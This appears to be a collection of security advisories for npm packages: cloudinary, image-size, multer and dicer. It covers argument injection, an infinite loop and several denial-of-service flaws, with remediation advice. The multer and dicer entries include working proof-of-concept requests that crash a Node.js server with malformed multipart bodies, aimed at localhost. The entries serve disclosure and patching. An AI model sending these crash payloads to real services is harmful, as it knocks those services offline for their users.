Overview

cloudinary is a Cloudinary NPM for node.js integration

Affected versions of this package are vulnerable to Arbitrary Argument Injection due to improper parsing of parameter values containing an ampersand. An attacker can inject additional, unintended parameters. This could lead to a variety of malicious outcomes, such as bypassing security checks, altering data, or manipulating the application's behavior.

Note: Following our established security policy, we attempted to contact the maintainer regarding this vulnerability, but haven't received a response.

Remediation

Upgrade cloudinary to version 2.7.0 or higher.

Overview

Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.

Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.

Remediation

There is no fixed version for image-size.

Overview

Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Upgrade multer to version 2.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion. An attacker can cause the application to crash or become unresponsive by sending malformed requests that trigger uncontrolled recursion, potentially leading to a stack overflow.

Remediation

Upgrade multer to version 2.1.1 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via deeply nested field names in multipart form data. An attacker can exhaust CPU and memory resources by sending a single HTTP request with a crafted multipart body containing excessively nested field names.

Workaround

This vulnerability can be mitigated by setting the limits.fields option to a reasonable value to reduce the number of fields an attacker can send per request. This does not fully mitigate the issue but limits the impact.

Remediation

Upgrade multer to version 2.2.0, 3.0.0-alpha.2 or higher.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.
